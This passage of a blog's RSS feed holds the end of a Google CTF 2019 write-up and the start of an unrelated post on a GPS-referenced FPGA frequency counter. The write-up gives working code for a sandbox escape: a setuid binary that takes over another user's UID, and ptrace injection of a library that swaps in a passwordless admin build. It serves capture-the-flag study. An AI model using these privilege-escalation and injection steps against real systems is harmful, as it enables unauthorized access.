    &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ifstream&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flagfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;./flag&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flagfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;is_open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cerr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;Failed to open ./flag&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;flagfile&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;Wrong password.&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Given this hash is SHA256, there is no way we can realistically crack it  and thus
we need to look for some another way in.&lt;/p&gt;

&lt;p&gt;The server runs a periodic script, which rebuilds the admin binary from
source code over and over. This is obviously our target.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; true&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
  ./admin_builder_client ./server
  sleep &lt;span class=&quot;m&quot;&gt;30&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;// Toss in some extra sleeps so that when management complains about&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// performance, we can get rid of them and show a 100x improvement.&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vector&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;/bin/bash&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;-c&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;s&quot;&gt;&amp;quot;sleep 1; g++ --std=c++11 admin.cc -ftemplate-depth=1000000 -o admin; sleep 1&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;First, I spent some time on attempting to exploit the &lt;code&gt;semget&lt;/code&gt; locks themselves.
Unfortunately the namespacing entirely prevents access to the shared locks
from our process.&lt;/p&gt;

&lt;p&gt;Then I noticed an interesting thing — there was not any &lt;code&gt;nosuid&lt;/code&gt; protection
on &lt;code&gt;/tmp&lt;/code&gt;. This means I could do the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Start my job as &lt;code&gt;sandbox-runner-0&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Create a suid binary&lt;/li&gt;
  &lt;li&gt;Start another job while the first one is still running, meaning it gets
assigned to a different user&lt;/li&gt;
  &lt;li&gt;Use the suid binary to access get myself UID/GID of &lt;code&gt;sandbox-runner-0&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Stop the first job, releasing the &lt;code&gt;sandbox-runner-0&lt;/code&gt; semaphore&lt;/li&gt;
  &lt;li&gt;Wait until the admin build job starts as &lt;code&gt;sandbox-runner-0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// Note that I can&amp;#39;t just suid a script directly - the kernel does not&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// allow suid bits on shebang binaries&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;setreuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;UID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;setregid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;UID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;execl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;/usr/bin/python3&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;/usr/bin/python3&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;./py.py&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;# The container has conveniently preinstalled GCC, so I can build everything&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# there.&lt;/span&gt;
g++ -std&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;c++17 -DUID&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;id -u&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt; suid.cc -o suid
gcc -shared -fPIC -o /tmp/load.so load.c
&lt;span class=&quot;c1&quot;&gt;# admin.cc is a patched admin shell source code that does not ask for password&lt;/span&gt;
cp suid inject admin.cpp /tmp
&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /tmp
chmod +x inject
chmod gu+s ./suid
sleep &lt;span class=&quot;m&quot;&gt;10&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# Sleep so we have time to start the second process as sandbox-runner-1&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;At this point, there is another problem — I can’t just swap the source code
of the admin build job. The mount sandboxing prevents us from writing to
its build directory even if we have the same UID.&lt;/p&gt;

&lt;p&gt;After a lot of time attempting to get around the problem in many different ways,
I stumbled at &lt;a href=&quot;https://github.com/kubo/injector&quot;&gt;injector&lt;/a&gt;, which is a tool
for hijacking execution of another process using ptrace.&lt;/p&gt;

&lt;p&gt;Using it is pretty simple — we just build a &lt;code&gt;.so&lt;/code&gt; library with a constructor
attribute on a function and run a command like:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;go&quot;&gt;./inject -p PID lib.so&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Then we can simply inject the following into the &lt;code&gt;sleep&lt;/code&gt; command which runs
before &lt;code&gt;gcc&lt;/code&gt;, replacing the admin shell source code with our patched version.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;cp /tmp/admin.cc ./&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;To perform the injection, we also need to submit a job that watches for
running processes and starts the injector right after the sleep binary gets
executed.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;# Note that this is written in Python because I can&amp;#39;t use Linux properly.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# I was using setuid in my wrapper binary, wondering why is my real uid&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# not getting set (hint: read man 2 setuid, not man 3 setuid...).&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# As bash &amp;amp; friends drop euid on start up, I figured I had to write my&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# payload in something else.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Not setting real UID breaks ptrace anyway, so I had to figure it out in the&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# end.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ps&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;check_output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;ps&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;axo&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;uid,pid,comm&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ps&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;toks&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;toks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;comm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;toks&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;comm&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;startswith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;sleep&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;geteuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Popen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;/tmp/inject&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;-p&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;/tmp/load.so&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wait&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

</description>
        <pubDate>Tue, 02 Jul 2019 00:00:00 +0200</pubDate>
        <link>https://blog.atx.name/google-ctf-2019/</link>
        <guid isPermaLink="true">https://blog.atx.name/google-ctf-2019/</guid>
        
        
      </item>
    
      <item>
        <title>GPS frequency counter</title>
        <description>&lt;p&gt;As an exercise in FPGA design, I built a frequency counter using a cheap GPS
module for a timing reference.&lt;/p&gt;

&lt;video style=&quot;display: block;&quot; width=&quot;80%&quot; autoplay=&quot;&quot; loop=&quot;&quot; muted=&quot;&quot;&gt;
  &lt;source src=&quot;/images/gfc/gfc.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;/video&gt;

&lt;p&gt;It turns out that the extremely popular ublox &lt;a href=&quot;https://www.u-blox.com/en/product/neo-6-series&quot;&gt;NEO-6&lt;/a&gt;
series of GPS modules, which can be purchased on eBay for around ~10$, is
capable of producing a relatively accurate pulse-per-second output.&lt;/p&gt;

&lt;p&gt;The same manufacturer also &lt;a href=&quot;https://www.u-blox.com/en/product/neolea-6t&quot;&gt;sells&lt;/a&gt; special
timing versions of their modules with mildly improved parameters, but these were
much harder to get in low quantities at the time I was ordering the components
(there are some available &lt;a href=&quot;https://www.ebay.com/itm/Ublox-LEA-6T-GPS-Module-w-Compass-for-APM2-5-APM2-6-Flight-Controller-Multirotor/281635443334&quot;&gt;on ebay&lt;/a&gt; currently).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: The NEO‑6 have since been discontinued and was replaced by the
NEO‑M8 series. These modules also have the PPS output with similar parameters.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/gfc/ublox-module.jpg&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 60.0%;&quot; src=&quot;/images/gfc/t/ublox-module.jpg&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;/images/gfc/ublox-ds.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/gfc/t/ublox-ds.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using the GPS system like this enables us to “borrow” an ultra-expensive atomic
clock (in orbit).&lt;/p&gt;

&lt;h3 id=&quot;measurement-method&quot;&gt;Measurement method&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;/images/gfc/measurement.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 80.0%;&quot; src=&quot;/images/gfc/t/measurement.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There are multiple measurement &lt;a href=&quot;http://www.ni.com/white-paper/3619/en/&quot;&gt;methods&lt;/a&gt;
for measuring oscillators. As my reference clock is generally several orders of
magnitude slower than the measured oscillator, the only reasonable approach is
to count the cycles between PPS pulses.&lt;/p&gt;

&lt;video style=&quot;display: block;&quot; width=&quot;100%&quot; autoplay=&quot;&quot; loop=&quot;&quot; muted=&quot;&quot;&gt;
  &lt;source src=&quot;/images/gfc/pulses.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;/video&gt;

&lt;p&gt;(excuse the crudity of the measurement, the probe isn’t attached properly and the
scope is hitting its bandwidth limitations)&lt;/p&gt;

&lt;h3 id=&quot;error-analysis&quot;&gt;Error analysis&lt;/h3&gt;

&lt;p&gt;Overall, we have two problems — first being our individual PPS pulses might
not be precisely one second (this is mostly caused by our receiver, the satellites
are “exact enough”). Second is the quantization error caused by the measurement
method — we have no way of getting the “fractional” value. In other words,
there is no way of distinguishing if the timing pulse arrived at, for example,
.1 or at .8 of a cycle.&lt;/p&gt;

&lt;p&gt;Let’s do some mildly naive interval error analysis:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;t_0 &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.76508em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.30110799999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; - Is the base PPS period (1 second)&lt;/li&gt;
  &lt;li&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;/msub&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;[&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Δ&lt;/mi&gt;&lt;/msub&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Δ&lt;/mi&gt;&lt;/msub&gt;&lt;mo stretchy=&quot;false&quot;&gt;]&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;t_p = [t_0 - t_{\Delta}, t_0 + t_{\Delta}] &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.9011879999999999em;vertical-align:-0.286108em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15139200000000003em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mathnormal mtight&quot;&gt;p&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span 